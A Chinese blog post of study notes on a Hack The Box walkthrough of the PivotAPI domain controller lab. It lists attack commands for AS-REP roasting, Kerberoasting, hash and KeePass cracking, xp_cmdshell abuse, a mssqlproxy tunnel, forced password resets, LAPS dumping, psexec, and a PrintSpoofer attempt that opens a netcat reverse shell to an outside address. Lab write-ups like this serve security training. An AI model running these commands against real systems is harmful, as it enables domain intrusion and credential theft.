红队笔记靶机精讲视频笔记_HTB PivotAPI

HTB PivotAPI

初始侦查和分析

sudo openvpn ../htb.ovpn   #使用openvpn连接靶机
mkdir nmapscan
sudo nmap -sT --min-rate 10000 -p- 10.129.139.15 -oA nmapscan/ports  #这是粗略的扫描
grep open  nmapscan/ports.nmap
grep open  nmapscan/ports.nmap | awk -F '/' '{print $1}'
grep open  nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ','   #处理数据小技巧,可以快速将开放的端口列出来

ports=\$(grep open  nmapscan/ports.nmap | awk -F '/' '{print $1}' | paste -sd ','# echo \$ports 可以检查一下


sudo nmap -sT -sV -sC -O -p$ports 10.129.139.15 -oA nmapscan/detail   #最重的一次扫描,查看tcp、版本、脚本、操作系统的详细信息

sudo nmap -sU -p- 10.129.139.15 -oA nmapscan/udp

sudo nmap --script=vuln   -p$ports 10.129.139.15 -oA nmapscan/vuln    #扫描漏洞脚本

#执行完nmap四扫可以收集很多信息

从详细扫描结果可以看到确定如下几个信息:

  • FTP端口开放,且支持匿名登录,已经列出来文件名了,可以看一下
  • 389,3268 ldap服务,说明这是一台域控,并且已经显示出了域名
  • 开启88kerberos服务,135msrpc服务
  • 1433 ms-sql服务钟现实了DNSname
#将两个域名放入到kali的/etc/hosts文件里

10.129.139.15 PivotAPI.licorDeBellota.htb

10.129.139.15 LicorDeBellota.htb

可以试试做区域传输,但是意义不大,一般功能都会关掉。

区域传输指的是 从服务器向主服务器查询更新数据,保证数据一致性,此为区域传送。一般使用dig命令来发送axfr记录请求来验证是否有区域传输:dig @your-ip -t axfr vulhub.org

优先考虑FTP,SMB,LDAP攻击,88端口也可以考虑未验证爆破

FTP渗透和文件获取

wget -m ftp://anonymous:RedteamNotes@LicorDebellota.htb  #-m是mirror的意思

#如果是ftp登录到命令行的模式下,要启用binary二进制的传输模式下载文件,不然很容易损坏

文件分析

exiftool *.pdf |grep -iE creator\\\|author  #把pdf文件里的创建者和作者拿出来,这是需要关注的点,敏感信息

exiftool *.pdf |grep -iE creator\\\|author | awk -F ':' '{print $2}'

exiftool *.pdf |grep -iE creator\\\|author | awk -F ':' '{print $2}'|grep -v -i microsoft |grep -vE '[0-9]' | uniq | sort | tee pdf_authors  #将微软和有数字的部分删除掉 -v是反向 -i是忽略大小写 -E是拓展正则表达式 uniq是去除重复项,sort是排序,tee是将内容生成为文件

xdg-open notes1.pdf

翻文件是一项很重要的内容,如果如果有一项重要凭据错过了那就真的错过了。靶机是真实渗透环境的抽象。

SMB服务空用户名尝试

crackmapexec smb 10.129.139.15 #查看有SMB共享

smbmap -H 10.129.139.15  

smbclient -L //10.129.139.15 -N  #试试空密码能不能登录,失败了,说明空密码没用

RPC:

rpcclient -U '' -N 10.129.139.15

		enumdomusers  枚举域用户

		querydominfo  查询域信息

		serinfo  查询服务信息

纯暴力破解(AS-REP Roasting):

kerbrute 快速kerberos暴力破解工具

kerberos用户枚举执行以下逻辑:当一个不存在的用户尝试认证时,kerberos返回一个特定的错误表示“客户端身份未知”;当用户存在时,返回另一个错误,通过这可以判断用户是否存在。由于只是发身份认证请求而不具体认证,所以不会触发账户锁定策略。

kerbrute userenum --domain LicorDebellota.htb --dc 10.129.139.15  /usernamelist.txt -t 1000      #注意要收集用户密码的list  seclists(这个项目)

当某个用户的标识设为uf_dont_require_preauth的时候,可以获取用户票据(哈希),可以破解该哈希。

使用impacket工具下的GetNPUser脚本:

sudo updatedb

locate -i getnp

export PATH=$PATH:/usr/share/doc/python3-impacket/examples/     环境变量=当前环境变量:(附加)后面的路径

GetNPUsers.py --no-pass -dc-ip 10.129.139.15 LicorDebellota.htb/ -usersfile user_list

hashcat --help|grep -i rep  可以看到使用方法

hashcat -m 18200 kaorz_hash /usr/share/wordlists/rockyou.txt

john kaorz_hash -w=/usr/share/wordlists/rockyou.txt    用john也可以

为什么有的用户设置了而有的用户没设置,为什么不彻底规避这种风险?有以下几个原因:

  • 早期的kerberos客户端不支持域认证,有些kerberos用户设置了这个选项以便于和早期的客户端兼容
  • 出于简化身份认证流程的需求,某些域管理员想要消除繁琐的认证过程
  • 特定的应用程序或服务的具体需求
  • 历史原因和配置错误

Kerberoasting攻击技术,针对服务账号例如数据库、web应用程序等。一旦拥有有效凭证,可以请求服务票据,由于这些票据是由服务账号密码加密的,攻击者可以破解出明文密码。

获得凭据后尝试靶机的各个服务

SSH:

ssh kaorz@10.129.139.15     失败,没有ssh权限

Kerberoasting:

GetUserSPNs.py -dc-ip 10.129.139.15 LicorDebellota.htb/kaorz:Roper4155

mssqlclient:

mssqlclient.py LicorDebellota.htb/kaorz:Roper4155@10.129.139.15

Bloodhound分析

使用bloodhound来看一下这个用户的攻击路径

sudo apt search bloodhound

sudo neo4j restart

bloodhound-python -c ALL -u kaorz -p Roper4155 -d LicorDebellota.htb -dc LicorDebellota.htb -ns 10.129.139.15 --zip  #采集域信息。看到有28个用户,58个群组

启动bloodhound主程序进行分析(对刚才采集到的数据),发现没有任何可用路径

SMB渗透

尝试SMB共享

smbmap  -H 10.129.139.15 -u kaorz -p Roper4155    #建立了一个session会话但是不能访问本地变量priv_status,报错了

crackmapexec smb 10.129.139.15 -u kaorz -p Roper4155 --shares

smbclient -U LicorDebellota.htb/kaorz //10.129.139.15/IPC$

prompt off

敏感文件分析

file *.msg

msgconvert *.msg      #用于读取outlook的邮件格式

xdg-open 'server MSSQL.eml'

靶机的邮件是真实案例的抽象和聚焦,所以要重点关注

file Restart-OracleService.exe    # PE32+ executable(console^(命令行程序)^) x86-64^(又称为amd64,不能在纯32位的操作系统中运行)^ ,for MS Windows,6 sections

其他命令:

strings  看字符串

ldd  看动态链接库

nm  看符号表

vim显示行号:set number

ghidra静态逆向

用ghidra逆向二进制文件,看到加了混淆,需要动态分析

ProcMon分析以及bat文件逆向

使用微软官方的sysinternals套件工具process monitor来分析这个程序

根据程序名设置过滤器,并启动捕捉。可以多次捕捉来确定是否所有程序步骤全部执行完毕

关键部分不在注册表,而在创建文件和执行文件的过程。

发现有一个bat文件引起了我们兴趣,通过设置文件夹属性来保留该bat文件

想要把临时文件持久化,就可以修改临时文件夹的权限,deny掉delete文件的权限,让它只能增加不能删除。

分析该文件又生成了一个新文件(restart-service.exe),接着通过修改bat文件提取出新文件,并继续上一轮的步骤

用API Monitor动态分析

restart-service.exe用process monitor分析还不够详细,不能捕获的用户凭据,也看不到windows api调用、函数调用、参数值、返回值等,需要寻找类似Linux下的strace的工具

试一试API Monitor,选择全部的API函数并监控,通过搜索passw,成功发现数据库链接凭据

凭据推理和验证

在bloodhound中验证,发现不存在svc_oracle这个用户,但是存在svc_mssql这个用户,所以可以根据命名规则看是否密码也可以相应做出改变。

登录SSH失败,尝试登录数据库:

mssqlclient.py 'LicorDebellota.htb/svc_mssql:#mssql_s3rV1c3!2020@10.129.228.115'

登录失败,这个账户有可能是系统账户,不是数据库账户。同时尝试用默认用户sa,成功登录

enable_xp_cmdshell

xp_cmdshell systeminfo

xp_cmdshell whoami

xp_cmdshell whoami /priv  查看用户权限

	SeManageVolumePrivilege 	有提权路径

	SeImpersonatePrivilege      有提权路径

可以尝试用PrintSpoofer在windows提权 https://github.com/itm4n/PrintSpoofer

利用mssqlproxy代理获得系统shell

#继续关注shell,尝试建立系统交互性最好的shell

xp_cmdshell net user

xp_cmdshell net user svc_mssql /domain    #可以看到它属于域用户和winrm用户。刚才没有在外部扫描里看到winrm的端口,那么内部端口是开放的吗?我们可以看一下

xp_cmdshell netstat -ano | find "5985"	#可以确定它是开放的

# 邮件里说它禁止了icmp的协议,那就是说通用协议的隧道和转发的工具也行不通了

这里需要使用mssqlproxy这项技术来获得系统性shell的代理

enable_ole

upload reciclador.dll c:\windows\temp\reciclador.dll

python3 mssqlclient.py 'LicorDebellota.htb/svc_mssql:#mssql_s3rV1c3!2020@10.129.228.115' -install -clr -assembly.dll

python3 mssqlclient.py 'LicorDebellota.htb/svc_mssql:#mssql_s3rV1c3!2020@10.129.228.115' -start -reciclador 'c:\windows\temp\reciclador.dll'

执行之后会在本地开启一个端口,使用这个代理可以连接evilwinrm

prochains evil-winrm -i 127.0.0.1 -u svc_mssql -p '#mssql_s3rV1c3!2020'

获得了winrm shell,接下来就是对靶机的信息搜集

首先ipconfig 确认了IP是我们要打的靶机,然后查看Desktop文件目录,发现有credentials.kdbx文件,这个是keypass的配置文件,直接下载下来

download credentials.kdbx   #winrm直接支持下载

keepass破解

接下来就是对keypass的配置文件破解

kpcli  --kdb credentials.kdbx   #失败
keepass2john credentials.kdbx #生成中间的hash文件,使用hashcat来破解

hashcat --help | grep -i keepass

hachcat -m 13400 credentials.kdbx.hash /usr/share/wordlists/rockyou.txt --user  #破解出明文mahalkita
kpcli  --kdb credentials.kdbx  -p mahalkita

show -f Windows/SSH #得到用户和密码,使用ssh连接成功拿到shell

探索Developers文件夹和用户

现在要进入到develop文件夹,待bloodhound里分析

net group Developers /domain

	jari superfume
net user dr.zaiuss RedteamN0tes!

#修改成功后使用dr.zaiuss身份mssqlproxy登录到winrm,修改superfume的密码

net user superfume RedteamN0tes!

使用dnSpy工具分析.NET程序,逆向出jari用户的密码为Cos@chung@!RPG

使用evil-winrm登录

prochains evil-winrm -i 127.0.0.1 -u jari-p 'Cos@chung@!RPG'

也可使用rpcclient工具来修改密码

rpcclient -U 'gibdeon@RedteamN0tes!' 10.129.228.115

转储LAPS

LAPS 本地管理员密码解决方案,拿到这个用户组的权限就相当于拿到系统权限了

LAPS READ用户组可以读取域控的管理员密码,使用工具来转储(dump)LAPS

https://github.com/n00py/LAPSDumper

python laps.py -u lothbrok -p RedteamN0tes! -d LicorDebellota.htb -l 10.129.228.115

读取到了administrator的凭据为iE368R5UuDjMx4exI2w7,使用crackmapexec访问smb

crackmapexec smb 10.129.228.115 -u Administrador -p 'iE368R5UuDjMx4exI2w7'

使用psexec.py工具来获得shell,因为确认了SSH和WinRM组里面都没有管理员用户,只能联想到通过smb协议上传脚本来实现shell

psexec.py jari:'Cos@Chung@!RPG'@10.129.228.115    #失败,因为没有smb权限

psexec.py administrador:'iE368R5UuDjMx4exI2w7'@10.129.228.115

成功获得shell,得到权限,拿到flag

总结一下横向移动工具:

  • psexec
  • smbexec
  • evil-winrm

Selmpersonate权限下PrintSpoofer利用的尝试

python mssql_shell.py   #使用新工具,记得import pymssql和from pymssql import _mssql

UPLOAD  PrintSpoofer64.exe c:\RedteamNotes\PrintSpoofer64.exe

UPLOAD  nc64.exe c:\RedteamNotes\nc64\.exe

PrintSpoofer.exe -i -c powershell.exe    #失败

PrintSpoofer.exe  -c  "C:\RedteamNotes\\nc64.exe 10.10.16.16 1337 -e cmd"  #依旧失败

应该是系统限制了PrintSpoofer的利用

总结

常用工具总结:

crackmapexec
hashcat	
john
file
msgconvert
impacket
	GetNPUsers.py
	GetUserSPNs.py
	secretsdump.py
	mssqlclient.py
smbmap
smbclient
rpcclient
proxychains
evil-winrm
keepass
keepass2john
kpcli
sshpass
Bloodhound
ghidra
procmon
api monitor
dnspy   		 #C#逆向工具
lapsdumper		 #LAPS转储器
mssql_shell.py
mssqlproxy	

思路总结:

  1. 域渗透时拿到用户名就要想到尝试使用AS-REP Roasting
  2. 无论是bloodhound还是辅助的手动枚举,要理解枚举命令,理解其背后的权限关系
  3. 渗透过程的逆向不是破解目的,要灵活运用这些逆向工具
  4. 理解动态和静态分析的工具
  5. 整体上理解域渗透的方法和工具
posted @   英俊的少年  阅读(144)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 单线程的Redis速度为什么快?
· SQL Server 2025 AI相关能力初探
· AI编程工具终极对决:字节Trae VS Cursor,谁才是开发者新宠?
· 展开说说关于C#中ORM框架的用法!
点击右上角即可分享
微信分享提示
主题色彩